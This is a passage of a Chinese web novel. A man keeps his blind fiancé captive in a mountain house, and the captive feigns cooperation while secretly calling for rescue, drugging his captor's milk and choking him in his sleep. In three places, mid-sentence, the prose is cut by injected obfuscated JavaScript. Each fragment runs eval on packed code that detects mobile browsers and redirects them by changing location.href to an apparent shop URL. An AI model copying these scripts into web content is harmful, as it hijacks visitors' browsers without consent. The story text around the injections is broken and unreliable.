程雀枝突然有些惶恐不安。 “亲爱的,别着急,我马上给你做最爱吃的东西。” 程雀枝忽然站起身来,却因为大脑供血不足,头昏眼花,一头栽倒在沙发上,刚好对着柯玉树双膝跪地。 发出清脆的响声。 程雀枝:“……” 他连滚带爬去厨房开火,只是试了好几次,燃气都没有点燃。 “怎么回事?” 程雀枝皱着眉,用钥匙打开十几把锁,外出检查线路,然后沉默地盯着没有接口的燃气管道。 是了,这座山太偏僻,房屋没有报备,自然没有燃气。他又嫌弃燃气瓶太危险,压根没有考虑过。 程雀枝看了半晌,又转回屋拿出电磁炉和电饼铛。 他的心里已经留下了丝丝阴霾,明明已经做好了万全的准备,现实却总是给他当头棒喝。 怎么会这样? 他真的留不住柯玉树吗? 43.良师益友 43 柯玉树再次醒来时,头还是昏昏沉沉的,运动手环震动提醒他不要久坐,他这才发现程诲南送的手环居然没有被没收。 不过想来也是,普通的运动手环离了手机没办法联网,最多测测步数和心率,柯玉树身上的衣服都没有换,只摘走了能够联络外界的东西,手环自然被保留了下来。 柯玉树坐了起来,没几秒钟后,身后忽然传来程雀枝沙哑的声音:“饿了吗?” 柯玉树指尖一抖。 这死小子! “晚饭吃什么?”柯玉树咬牙切齿问。 程雀枝抬腕看了眼手表,现在才中午十二点,他却没有纠正柯玉树的时间认知,而是把自己刚做好的菜的菜名报给柯玉树。 都是些家常菜。 程雀枝扶着柯玉树来到客厅,落座后,柯玉树安静吃饭,程雀枝坐在旁边暗暗看着柯玉树,居然真没在柯玉树眼中看到厌烦,或是恐惧。 为什么? 自己明明都这样过分了,不仅囚禁了玉树,还对他这么凶巴巴的,为什么玉树不反抗? 就因为他是程栖山吗?那狗东西凭什么! 饭后,柯玉树喝了程雀枝鲜榨的芒果汁,这一杯没有加料,他喝得很满足。 把喝干净的杯子递给程雀枝,程雀枝到厨房去用自动水槽清理杯子,他动作很慢,不敢面对柯玉树。 柯玉树在餐厅座椅上等了一会儿,忽然问:“亲爱的,你什么都准备好了吗?像物资这些,还有我的存在痕迹和朋友的思想工作。” 程雀枝正在擦拭的杯子,闻言手一滑,杯子掉在了桌面上,然后咕噜噜滚到水槽,四分五裂。 他一直紧绷的弦终于断开了,哑着声音问:“你知道你在说什么吗?” 柯玉树反问:“你知道自己在做什么吗?” 程雀枝慌了,他当然知道自己在做什么,他在强迫柯玉树,禁锢他的人身自由。 即便如此,程雀枝心中又抱着一丝丝希望,语气艰涩地解释:“我知道的,我……只是不想看到你和其他人纠缠,特别是程诲南,他们不是什么好东西。” 柯玉树叹了口气,招手:“你来。” 程雀枝到柯玉树面前蹲下,柯玉树居高临下坐着,睫毛在下眼睑投出两片阴影。 “手受伤了吗?” 柯玉树伸出手,程雀枝把自己的手放在他温暖的手心。柯玉树开始摸索这双泛着湿润的手,在抚过手背的时候,程雀枝轻轻挣扎了一下。 柯玉树开口:“医药箱。” 程雀枝乖乖拿来医药箱,柯玉树仔细给自己的手消毒,然后寻找程雀枝手背上的伤口。他只能通过触感寻找,于是在伤口附近反复摩擦。 这过程很痛,程雀枝却一言不发,执拗地盯着柯玉树。 他想知道柯玉树的真实想法。 柯玉树处理好了程雀枝手上的伤后,又把自己的手消毒一遍,然后伸出手指,在程雀枝嘴唇上轻轻摩挲。 声音柔软得几乎要化成水。 “亲爱的,你似乎有些没有安全感,有什么委屈,或者我能做到的事,你可以直接向我坦白,咱们是成年人,需要有效沟通。” 程雀枝忽然张口含住柯玉树的手指,用虎牙顶着轻轻撕咬,含含糊糊地说:“怎么沟通?我就是、不想看到你……跟他们接触,玉树,这、这你也能做到吗?” 明明是未婚夫在无理取闹,柯玉树却轻笑着,用另一只手勾了勾程雀枝眼尾。 “那我就不和他们接触。继续讲,还有什么其他的要求吗?” 就这么同意了? 程雀枝眼神有些茫然。 他一心拉着柯玉树和自己沉沦至死,甚至接受了两败俱伤的结局,却没想到柯玉树居然就这么轻而易举答应了。 为什么? “我……其他的要求我还没想到。”程雀枝说,“等我想到再说!” 他其实想到了,但是不敢说真话,因为只要他的真话说出来,和柯玉树之间最后一点羁绊也没了。 柯玉树有些无奈地叹了口气。 “行,等你想到了再说,我的承诺一直有用。”他俯身亲了亲程雀枝的额头,“咱们还有很多时间,不急,我慢慢教你。” 程雀枝疑惑:“教我什么?” 柯玉树回答:“怎么囚禁我?” 程雀枝:“???” “既然你能把我带到这里,想必我们来这里的痕迹已经抹除了,我自己的社交关系网很少,和你同居的时候就已经断了大半的联系,除了小叶,我几乎不会主动联系其他人,是个被囚禁的好对象。”柯玉树摸着下巴说。 程雀枝:“……嗯。” 柯玉树又问:“那你呢?” 程雀枝指自己:“我?” 柯玉树点头:“你那边处理干净了吗?” 程雀枝也点头:“当然处理干净了,放心,我们逃得很远,不会有人发现。” 他的眼睛变得亮晶晶的,特别是在经过柯玉树的一通分析后,像是忽然被点燃了希望,充满对未来的憧憬。 程雀枝很开心,即便玉树有可能在骗他,他也很开心。 “你手下的资金流他们查得到吗?”柯玉树问。 “已经转到了国外的银行账户。” “做得好。”柯玉树拍拍程雀枝的头,“那物资呢?” 程雀枝:“除了燃气管道有些问题,其它东西咱们至少能用半年,而且会有猎人不定时送来新鲜食物。” 柯玉树摇头说:“不行,抗生素、急救药品、还有高压氧气充气泵……这些呢?” 柯玉树叽里咕噜报了一大串东西,程雀枝一开始还记得几个,听到后面已经两眼发昏,嘴里喃喃着:“我……我……” 听程雀枝的语气就知道,他完全没有准备,柯玉树无奈道:“好孩子,这些东西你都应该提前准备好啊,就像是高压氧气充气泵,你肯定是要开车的,对吧?没这东西的话,要是爆胎了,只能自己充气,费时又费力,还容易有危险。其他的我就不多说了,既然做了决定就应该妥善处理好一切,其实你从一开始就头发和我沟通的。没关系,现在还来得及,你去准备吧,我在家等你。” “家?”程雀枝喃喃。 玉树刚才说的那些东西,他确实没有准备好,他现在内疚死了。 “我……我可真不是人啊……”程雀枝又喃喃,“明明是我囚禁你,却要你帮忙提意见。” 但始终没有放走柯玉树的念头。 柯玉树捂住他嘴:“你是我的爱人,别这么说。” 程雀枝没回答,柯玉树忽然感觉有湿润的液体落到了自己的手背,他伸出手,居然在程雀枝的脸上触碰到了泪痕。 “怎么哭了?”柯玉树轻轻拭去程雀枝眼角的泪水,“不要难过,我认可你的所有。” 他又低下头去亲吻程雀枝脸上的泪痕,动作又轻又柔,爱怜至极。 “玉树……” 程雀枝的泪水终于决堤,他猛然扑进柯玉树怀中,哽咽。 柯玉树依旧温声安慰着:“亲爱的,别哭,未来的日子我们一起过。你不就是想和我住在一起,不被其他人打扰吗?这样很好,你去拿物资,我就会永远在家里等你回来,只要你一天是我的未婚夫,我就一天不会离开。” 程雀枝耸动着肩膀哭哭:“玉树……” 程雀枝这段时候瘦了一大圈,柯玉树轻轻松松就能把人放在腿上,然后借着这个姿势,把程雀枝的手环在自己脖子上。 “乖,乖。” 柯玉树把人按在怀里,轻轻拍着他的背部,交颈的姿势让两人几乎能听到对方的呼吸声。 “玉树……你不能走……” “不走。” 程雀枝已经泪如雨下。 柯玉树就这么顺利在此住下了。 程雀枝听了他的话,添置了许多必要物品,日日都在为这个家添砖加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054502|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓦。柯玉树也在做力所能及的事,却从来没有踏出大门一步。 当然,还有个原因是门上挂了十几把锁,程雀枝出门都费劲,更别提他这个瞎子。 柯玉树给足了程雀枝的安全感,但日子久了,程雀枝心里终究是过意不去,一时间又欢喜又烦闷——他似乎折断了玉树的羽翼。 被程雀枝纠结的目光看得久了,柯玉树也有所察觉。 某日夜里,柯玉树忽然问:“没有雨声,现在外面应该是晴天,亲爱的,还记得来这里之前我说过的话吗?我要为你画一幅画。” 整栋房子的窗户都被程雀枝亲手用木条封死,程雀枝看着手机上显示的凌晨3点,扯起一个难看的笑容。 “当然记得,你的画具我都带上了,不过现在天气很好,适合睡觉,要不咱们再睡一会儿?” 凌晨三点,程雀枝现在眼睛都睁不开。 “午觉睡太久了不好,咱们不能日夜颠倒,起床了。”柯玉树说。 然后兴致勃勃提溜着程雀枝来到画室。 程雀枝的眼睛还干涩得不行,他的生物钟是正常的,柯玉树却因为偶尔独自留在房子内,日夜颠倒,作息混乱。 这也是柯玉树身上唯一体现出他被囚禁的地方了。 柯玉树站在画板面前,让程雀枝为他绷好画布,却握着颜料却迟迟不肯打开,程雀枝等了许久,安静的室内只留下两人的呼吸声,也没人开口。 即便两人面对面,也不知道对方到底在想什么。 忽然,程雀枝问:“玉树,你想要做手术治眼睛吗?” “现在能动手术了吗?”柯玉树问。 程雀枝有些沉默,实则在他跌入冰河住院的那段时间,医生便提议让柯玉树做手术。 柯玉树的眼睛不严重,甚至有自愈的可能,做手术只是为了清除病灶,提前让柯玉树恢复光明,以免复发。 程雀枝瞒到现在。 “现在可以的话,也先不急着做手术吧?其实我在这里住得挺好的,你似乎也不想我离开,要不过段时间再说?”柯玉树说。 程雀枝压着声音:“……好。” 他怎么这么自私! 柯玉树放下颜料,想了想,又说:“亲爱的,帮我换上素描纸和铅笔吧。” 程雀枝依言照做,为他换上素描纸,铅笔是特制的,程雀枝最常用的那一款。 他们画素描的往往会根据自己的习惯削铅笔,程雀枝自然而然接手了这个工作,他切菜技术高超,铅笔也削得又快又好,不到半分钟,一支完美的铅笔就放在了柯玉树手中。 程雀枝有些恍惚,似乎自从柯玉树失明之后,他有很长时间都没有碰过画笔了,刚刚差点削到手。 柯玉树伸出手指抵在铅笔笔尖,扎着还有些疼,他轻笑一声赞叹道:“ 手艺不错。” 程雀枝:“嗯,帮我弟削过。” “亲爱的,想学画画吗?从最简单的素描开始。” 程雀枝猛然抬头指着自己,“我吗?” 柯玉树已经握住了程雀枝的手,伸手盖住他的手背,将铅笔放在手心。 “咱们先画个雪山吧,你还记得我们之前去过的雪山吗?你还拍过照。”柯玉树笑着说。 程雀枝当然记得,他这辈子也不可能忘,柯玉树的那几张照片他洗了一打出来,贴在书房里,还做了手机的壁纸,他有时候甚至还庆幸自己摔进洞的时候,相机没跟着一起摔进去,才能把那些照片保留。 “真的要画雪山吗?应该会很难吧。”程雀枝艰涩地说。 画雪山对程雀枝这个专业画家来说,易如反掌,特别是他亲手感受过那时的雪山,对他意义非凡。 但他现在却是门外汉程栖山,要装作对素描一窍不通的样子。 十分憋屈。 柯玉树抓着程雀枝的手,“别担心,既然是我们的共同回忆,对我来说自然也意义非凡。我来帮你。” 程雀枝有些僵住了。 44.山风 44 柯玉树握着程雀枝的手勾线,每一笔落下都是那么轻盈而精准。 “那是什么样的雪山?” 爱人的声音在耳畔回旋,手下铅笔的线条慢慢勾勒,程雀枝也不自觉勾起唇角,随着柯玉树的手动了起来。 “这里是主峰,旁边还有三个小峰……嗯,对,就是这里。” 柯玉树又问:“那雪线呢?在这里、这里、还是这里?” 程雀枝将手指停在半山腰,眼前似乎已经浮现了那日夕阳下的雪山。 柯玉树循循善诱。 “嗯,乖孩子,既然是夕阳背光面,就用阴影代替吧,这里记得留白,增加高光……” 程雀枝听着他的温柔话语,竟自动勾画出了阳光下的雪山,到最后成了他引导着柯玉树来画,也忘记了柯玉树只是个盲人,和柯玉树惺惺相惜,画起来便发狠了、忘情了、没命了。 柯玉树牵着程雀枝的手,用铅笔感知着程雀枝独特的笔触,唇角勾着漫不经心的笑容。 果然是他看好的孩子,笔触灵动,居然能触动他,是真的有天赋。 柯玉树忽然来了些灵感,艺术这种东西是会心心相惜的。 两个小时后,程雀枝已经忘记身后的柯玉树,他后退一步想观赏自己这幅即兴画作,却摔进了柯玉树的怀中。 转头,原来柯玉树含笑一直站在自己身后,没有离开,也不知道什么时候放开了手,静静等待程雀枝结束作画。 “应该是一幅很完美的素描,亲爱的,你很会画画。”柯玉树说。 程雀枝被他说得有些不好意思,他转回头观赏自己这幅素描,爱怜地触碰着画中人,轻轻嗯了一声。 “谢谢,只是让你久等了,玉树,你想要什么补偿?” 素描以四座雪山为背景,柯玉树站在冰天雪地里,天空、地面、树枝和河流一片金白,到处都弥漫着寒冷而柔和的气息,属于作画人的情绪扑面而来。 这种成就感程雀枝已经很久没有感受到了,上一次有这种感觉,还是他借鉴了Ye先生的画作,那幅画也让他获得了进入艺术学院的资格。 “补偿的话就不必了,亲爱的,你似乎根本不需要我的帮助,就能画得很好,”柯玉树歪头,“这难道就是天赋吗?” 程雀枝又僵硬在了原地,他一时间没能收住,暴露了他会画画的事实,玉树这是起疑了吗? 他连忙补救:“需要的,玉树,我需要你的帮助,毕竟我只是个门外汉,没怎么系统学过绘画。” 柯玉树发出了一声意味不明的笑。 “有空再说吧,你似乎有些困了,咱们再睡一会儿。” 程雀枝疑惑:“你不画画吗?” 柯玉树一指他从头到尾都没有打开过的颜料,“这些不是我用习惯的特制颜料,我暂时想象不出它们的颜色,也没有灵感。” 程雀枝连忙说:“没事,我可以帮你调颜色,我来当你的眼睛。” 柯玉树却叹着气说:“亲爱的,这不是颜色的事情,不是我用顺手的颜料,我无法想象出它的颜色。你可以帮我找找颜料吗?” 柯玉树很少求他办什么事,程雀枝自然满口答应:“当然可以,你想要什么颜料我都能找得到!” “就我平时常用的那个牌子,还有几样其它的颜料,比如纽碧莱群青紫……再就是我常去的那家中药店,我在他们家订了很多植物和矿物颜料,能帮忙取一下吗?” 柯玉树报了一个名单,再把中药店的地址给程雀枝说了一遍,确定那些颜料大多没有害后,程雀枝放下心来。 “放心,包在我身上。” 程雀枝再度入睡,睡前还把自己刚才画的那幅画放在了保险柜里。 柯玉树没有什么困意,却在旁边陪着他睡觉,程雀枝顿时心软得一塌糊涂。 他家玉树有的时候真像长辈一样包容,相处久了,程雀枝觉得自己似乎都快变得情绪稳定了。 但是第二天在知道那家中药店隶属庭华后,程雀枝又炸毛了。 说是朋友,但有把眼睛挂在朋友身上的朋友呢?程雀枝实名不信,也就玉树单纯,信了。 这头野狼! 程雀枝在原地气得直跺脚,但仍然让助理把颜料取回来送到山外面,他想,不过只是取个颜料而已,玉树又不会和庭华那小子见面。 能忍。 三天后。 程雀枝亲自开车下山去取东西,临行前,他在柯玉树额间落下一吻。 现在是正午,柯玉树却当做午夜来睡,所以他迷迷糊糊睁开眼,问:“亲爱的,你要走了吗?” 程雀枝抱着柯玉树的头蹭了蹭。 “在家等我,嗯?” 生物钟混乱的好处来了,程雀枝出门后完全不担心玉树会到处乱走,反正玉树一觉醒来,他就回来了。 “嗯……我在家等你……注意安全。” 柯玉树说完这句话又睡了过去,程雀枝立刻穿衣出门,动作迅速利落,力争早去早回。 越野车远去,柯玉树悄无声息睁开眼睛,眼中已经是一片清明,没有半点睡意。他翻身下床,披着外套在卧室里摸了一圈,终于找到了角落架子后的保险柜。 保险柜里装的那些证件柯玉树完全不在意,他要的是程雀枝的卫星电话。卫星电话是柯玉树让程雀枝补充的物资之一,用的理由是,他们居住在山上有时会下大雪,要是大雪封山断了信号,卫星电话必不可少。 卫星电话刚拿回来的时候,程雀枝担心柯玉树通过电话联系外界,所以一直都藏在保险箱里,从未启用。 柯玉树眼睛看不见,虽然知道他把卫星电话放在保险箱,但不清楚保险箱的具体位置和密码,直到昨天晚上,程雀枝将那幅素描放进了保险柜中。 这人大半夜起床晕晕乎乎的,完全没有留意柯玉树就在门边,听着他转动保险箱的动静。 所以柯玉树试了几下,便轻而易举地打开了保险箱,拿出卫星电话。 “怎么没信号?”柯玉树皱眉。 门窗都被程雀枝封死,只有三角阁楼的尽头有个不到半米的通风口,刚好能伸一只手出去,或许那里有信号。 柯玉树没怎么来过三角阁楼,所以一路有些跌跌撞撞,但他面不改色。 来到窗口,柯玉树靠着木板坐下,捣鼓了好一会儿,才拨下国家代码和那个烂熟于心的号码。 等了一分钟,对面终于接听,女人紧张的声音传入耳中:“……哥?” 在战区枪林弹雨中冷静穿梭的柯月叶,此时声音甚至有些颤抖。 柯玉树终于露出了一个真心实意的笑容,轻声回应:“是我,小叶。” 电话对面发出一声剧烈的声响,热浪蒸腾;柯玉树这边也吹来含着冰碴的风,寒冷刺骨。 “听我说,小叶,我现在的位置在c市西南方向的雪山里,周围至少有三个雪峰,你的人在哪?” 嘈杂声后,柯月叶的声音清晰传来:“对不起,哥哥,我的人没能跟上你,但是他们发现了一队可疑的人员,现在正跟着他们进雪山。” 柯玉树挑眉,按理来说,跟着他一路过来的除了程诲南、庭华的人之外,就再没有其他了,哪里来的什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061490|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可疑的人? “什么人?” “我的人说,那些……似乎是程栖山派来保护你的人。” 柯玉树的眼睫颤了颤。 “哪个程栖山?” “是真的程栖山,那个现在还躺在医院的植物人,他在出车祸前就派人到身边保护你,而且那些人还是瑟莲家族的精锐,所以才能一路跟着你们到雪山。” 柯玉树垂下眼眸,那个时候,他跟程栖山还不太熟。 “我知道了。” “还有,哥,你对你现在这两位缪斯到底是什么想法?”柯月叶又问。 和柯月叶的声音一同传来的,还有手枪上膛的声音,柯玉树没有多问,他迷茫着一双眼睛,脑海中似乎划过了好几张脸,最终叹了口气。 “很多惊喜和惊讶,但意外的,感觉还不错。” 势均力敌,争锋对决,柯玉树已经很久没有过这样的感觉了。 “那就好。”柯月叶松了口气,“现在除了程栖山派来的人,还有程诲南、庭华加上我派的人,一共来了三波,现在都困在雪山外面,找不到你的位置。” “看来这部卫星电话不能定位。”柯玉树微微皱眉。 他不清楚手上这部卫星电话是什么型号,不过依程雀枝的性格,即便是弄个卫星电话回来,也不会让其他人定位到这里。 果不其然,柯月叶说:“对不起,哥,我们暂时还找不到你的位置……” 柯月叶说这话时很沮丧,柯玉树感觉自家妹妹都快要哭了,她那边的背景音也越来越嘈杂,想必有大事要忙。 “没关系的,不急,小叶,你那边比较重要,我可以和他们周旋,不会有事。”柯玉树轻声安慰:“我亲爱的妹妹,我还等着你凯旋归来,为我撑腰呢。” 得到了哥哥的安慰,柯月叶立刻神清气爽,骄傲地说:“放心吧哥哥,战区的商路已经打通了,明天或者后天我就能和当地政府接洽,到时候咱们至少能完成三个小目标。再过不到两个月,即便是程家那几个家伙觉察到我们的动作,也无力回天!” 柯玉树都能想象妹妹在对面手舞足蹈的模样,平时那么冷冰冰一人,在他面前却是个天真的孩子,太可爱。 “真好,我家小叶真厉害,”柯玉树的眼神已经柔和得快要滴出水来,“要是换做是我,绝对不会做的这么完美。” 他的妹妹,是全天下最好的妹妹,当初柯玉树选择画画,父母说什么都不同意,还是柯月叶偷偷帮他买了画布和颜料。 因为柯玉树才是继承人,所以柯家父母从来不会检查柯月叶的物品,柯玉树就偷偷把东西藏在她那里,对此柯月叶总是笑着接受。 她说:“哥哥是要成为大画家的哥哥,我也要成为哥哥最大的倚仗!” 柯玉树背靠在阁楼的木板上,手撑着地面,一片阴湿冰冷,他的心却暖暖的,因为现在,手机对面的妹妹依旧活力四射。 柯月叶:“哥是最厉害的哥哥,我也是最厉害的小叶,是要做哥哥最大靠山的女人!” 柯玉树笑出了声。 “好哦,那我等小叶。” 挂断了电话,柯玉树靠在墙边静静坐了一会儿,他脸上因为和妹妹说话的笑意逐渐淡了下去。 地中海对岸,柯月叶脸上的笑容渐渐消失,她把上膛了的银色手枪,藏在礼服下摆的大腿绑带上,脸上勾起一个冷艳的笑容。 “出发!” 她哥哥喜欢,自然要抢过来,但是她现在还不够强。 等等,哥,再等等。 最多半年,我把这些男的全都给你绑回来。 45.被掐死都以为睡衣勒脖子 45 柯玉树回到卧室放好卫星电话,又在床上静静坐了片刻,忽然抬起手腕,连按了三下运动手环的开机键。 手环顿时震动个不停,十五秒后归于平静。 柯玉树唇角微勾。 程雀枝之前检查过这款运动手环,只以为是蓝牙款,离了手机就无法联网,只能检测健康状态,所以才把它留了下来。但程雀枝不知道的是,这一代手环已经革新,并安装了卫星定位系统,即便没有连接蓝牙也能播报实时位置,连按三下会将实时位置发给紧急联系人,那边的程诲南想必被吓了一跳吧? 群山外,程诲南正在慢悠悠饮茶听曲,忽然,放在一边的手机狂响起来,手一抖,他一杯茶全都泼了出去。 “沸沸沸!” 程诲南被滚烫的茶水溅了一手,烫得表情都差点没绷住,他擦干净手,一看手机上显示的内容,挑了挑眉。 “真聪明,玉树。” “玉树啊,我只说手环测你的数据,是真没骗你。” “毕竟你的坐标数据,怎么不算是数据呢?” 十五秒的播报,每三秒会发送一个数据点位,每个位置的经纬度丝毫不差,程诲南勾唇一笑。 “原来,你们在这里啊?” 半分钟后,手机再次传来呼救信息,证明不是误触。院外的几辆越野车整装待发,程诲南放下茶杯,身手利落地上了车,看着手机上传来的位置,他眼里的神色晦暗不明。 所以玉树,你明明知道手环有定位,为什么还要戴着? 另一边,柯玉树坐在床上整理思路,他不知道自己现在的位置,柯月叶也难以将他救出来;程栖山的人虽然离他最近,但无法联络。 现在能帮他的就只有程诲南一个,也还好程诲南弄了个运动手环,否则难以破局。 “真是巧了,这样看来我简直要无缝衔接?程诲南,你可别让我失望啊。” 半个小时后,大门打开,寒气扑面而来。程雀枝一身是雪,抱着一个大箱子,柯玉树摸过去想要接箱子,却被程雀枝拒绝。 “有些重,你别碰,待会我再告诉你分别是什么颜色。” 柯玉树乖乖照做,程雀枝心情颇好地将颜料取了出来,甚至体贴地放进格子里,分好颜色。程雀枝学的是素描,对油画也略有涉及,知道这些颜料有多么珍贵。 他已经迫不及待想要看柯玉树为自己画的画像了,即便那是程栖山他也认了,大不了他当一辈子的程栖山。程雀枝的底线一降再降,最后只求柯玉树属于自己。 “行啊,这样一来,你又能至少一周不出门了。”柯玉树的声音带着笑意。 程雀枝也调笑:“怎么,玉树是舍不得我出门吗?” 柯玉树真心实意点点头:“是有些舍不得,我自己在家总感觉差了点什么,似乎已经习惯你在我身边了。” 他的甜言蜜语对程雀枝特攻,程雀枝心里美滋滋的,问:“那玉树以前一直都是一个人住吗?” “在我失明前是这样的。” 程雀枝顿时一脸得意。 所以玉树是习惯自己陪伴在他身边,而非程栖山,此为一胜;程栖山成了植物人,自己现在却可以一直陪着玉树,此为二胜;前两项都胜利了,此为三胜,所以他大获全胜! 程雀枝分装颜料用了十来分钟,并非是他动作慢,只因这些颜料太过珍贵,而且药铺的颜料也很难分装。 “玉树这份土黄色的颜料没有标明成分,你知道是什么吗?”程雀枝问。 他一脸疑惑地摇着手里的小瓶,只有这一个小玻璃瓶的粉末没有打标签,其他的都有。 柯玉树靠近想了想。 “你先别打开,嗯,黄色的有好几种,其他的上面标了什么名字?” “石黄、龙血竭、紫铆和藏红花。” 程雀枝将手上的小瓶子摆到柯玉树面前,柯玉树摩挲着瓶口,猜测:“应该是缬草,可能是他们标漏了,不是什么大事。” 既然柯玉树认得到,程雀枝也就点点头,:“行,那我放这儿了,颜料都弄好了,那瓶没有标签的就是缬草。” 程雀枝带着柯玉树一样一样地认颜料,认到最后他都有些忐忑,这些颜料的名字又难记,色彩也很容易令人混淆不清,他担心柯玉树一时间记不住,会因为眼睛看不到而感到沮丧。 “玉树,你能记得这些颜色吗?挺难的,要不要我再说一遍?” 一遍就记住实在是有些太困难了,毕竟柯玉树已经失明了大半年,这大半年来也没有见过颜色,程雀枝不介意一遍又一遍地带他认颜色。 “这有什么难的,反正是给你画肖像画,画像什么颜色都可以,只要神形俱在就行。” 柯玉树的指尖触碰着那些瓶瓶罐罐,停留在了没有贴标签的缬草上,脸上勾着蛊惑人心的笑容。 “放心,亲爱的,我怎么舍得把你画丑了,你的画像我自然要一笔一笔画。” 程雀枝顿时心跳如擂鼓,仍然有些犹豫。 “可是玉树,你不是已经有些记不清我的脸了吗?要是画出来四不像怎么办?” 柯玉树无奈:“亲爱的,这能怪得着谁呢,是你不让我碰你的,不过没关系,相由心生,我总会——” 程雀枝捉住柯玉树伸过来想要摸自己脸的手,故作生气道:“好啊,我的未婚夫,不碰碰记不着我的脸了吗?说白了就是不在意我。” 冠冕堂皇。 “哎呀,亲爱的,怎么生气了?”柯玉树摇摇他的手。 “生气,当然生气,我绝对不会给你摸的,不管,就按照你的印象来画。”程雀枝无理取闹。 他性格如此,也因为他根本不敢让柯玉树碰他的脸,满腹的心虚只能用无理取闹来掩盖。这样的无理取闹也是被柯玉树纵容出来的,这段时间,柯玉树简直把他宠得无法无天。 “好好好,就按我的印象来,”柯玉树柔和了表情,“快去洗个手吧,刚碰了颜料,你做饭,我先把颜料放好。” 程雀枝帮柯玉树把箱子都搬进了画室,才进了厨房,柯玉树背对着门口,摩挲装着缬草粉末的瓶子,轻笑了一声,然后打开小玻璃瓶,刮了点粉末在指尖。 程雀枝和他都有睡前喝牛奶的习惯,放在微波炉里叮两分钟就行,温度刚好不怎么烫。程雀枝把碗放进洗碗机后再出来,发现柯玉树正把他那杯牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065310|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶端上桌,然后转到卫生间去洗手。 “牛奶已经热好了,今天晚上早点睡,你出门累了。”柯玉树说。 程雀枝感觉自己的心暖暖的,把温牛奶一饮而尽,然后跟只树袋熊一样挂在柯玉树的背上。 “玉树,今天晚上读什么诗?” 柯玉树有睡前听诗的习惯,不过只能看盲文诗集。程雀枝一开始对诗歌不屑一顾,后来渐渐懂了,不是因为他喜欢听诗,是因为他喜欢念诗的人,所以他买了十几本盲文诗集放在卧室。 喜欢的人用温柔的嗓音给他念诗,哄他入睡,程雀枝晚上做梦都会笑醒。 柯玉树背着一大坨熊回到卧室,卧室密不透风,正中是一张巨大的双人床,两个枕头两床被子。 程雀枝一开始打算住在主卧的隔壁,他选择囚禁柯玉树前,预料了很多后果,柯玉树可能会极力反抗,所以他并不打算跟柯玉树睡在一起。但是在柯玉树帮助程雀枝囚禁自己后,当天晚上,程雀枝就抱着枕头来了主卧,可怜兮兮地:“”玉树啊,客卧没有暖气,我会被冻死的。” 登堂入室。 程雀枝拿捏住了柯玉树心软的点,就这样留下来了,现在已经演变到柯玉树每天晚上都要念诗哄他入睡。 程雀枝在床上躺好,柯玉树今天却没有打开盲文诗集,而是轻笑:“今天不读诗集上的诗,我给你背一首诗吧。” “是什么?”程雀枝一脸期待。 “今夜。” 程雀枝眼前一亮,“今夜怎么了?” 柯玉树用手指头把他脑袋推开,“今夜是诗名。” 程雀枝依旧一脸期待地望着柯玉树,听他温柔的嗓音轻轻泄出诗句,一字一句都像是轻柔的笛声,安抚程雀枝内心所有的狂躁,又像是雪山上吹拂的雪风,凌冽彻骨,却又夹杂着独属于诗人的温情。 “……羊里高卧我的羊,命里不缺我的人。” 程雀枝仿佛置身于可可西里,又像是站在归途的车站,他的眼皮越来越沉,所有的疲惫和困意席卷而来,柯玉树在旁边念诗这个事实不断在他脑海回旋,又温柔又暖和,十足的安全感。 不知道为什么,困意包裹住了程雀枝,他强撑着蹭蹭柯玉树的大腿,头一歪就失去了意识。 “……今夜的你啊,是否正腾出自己的内心,用来安顿我的一生?” 柯玉树伸手抚摸着程雀枝的头顶,又顺着侧颊向下,扼住程雀枝的脖子。 “……刚好看见一颗坠星,使天空更空。” 柯玉树的手狠狠用力,熟睡的男人登时皱起了眉头,却完全醒不过来,没有反抗能力,只能迷迷糊糊地问:“玉树?” 柯玉树倏然松开手,安抚道:“没事,睡吧,睡衣勒着你脖子了。” 程雀枝不太理解他的意思,但既然柯玉树说没事,他也逐渐放下心来,抵不过困意,再次睡了过去。 柯玉树静候片刻,直到旁边的人气息又平稳下来,他才轻笑一声,再按了三下手环。 雪山群外,程诲南甩掉跟上来的车队,笑骂一声:“等不及了吗,玉树?” 枪声响彻山谷。 “你未婚夫可真难缠啊……” 46.小叔爬窗 46 第二天程雀枝醒来的时候,神清气爽,心情也好得不得了。 他依稀记得昨天晚上玉树给自己念了是一首情诗,虽然不记得内容了,但那可是情诗啊!于是他起了个大早给玉树准备早饭,已经完全是恋爱脑的形状了。 柯玉树起床的时候,面包都刚好跳出来欢迎他。 “玉树,今天早上吃小笼包还是三明治,还有豆浆、皮蛋瘦肉粥和燕麦粥,选一样?”程雀枝问。 “今天是什么日子?早餐都这么丰盛。”柯玉树问。 他刚起来,没扎头发,发丝柔顺垂在肩头和侧腰,温柔如水。 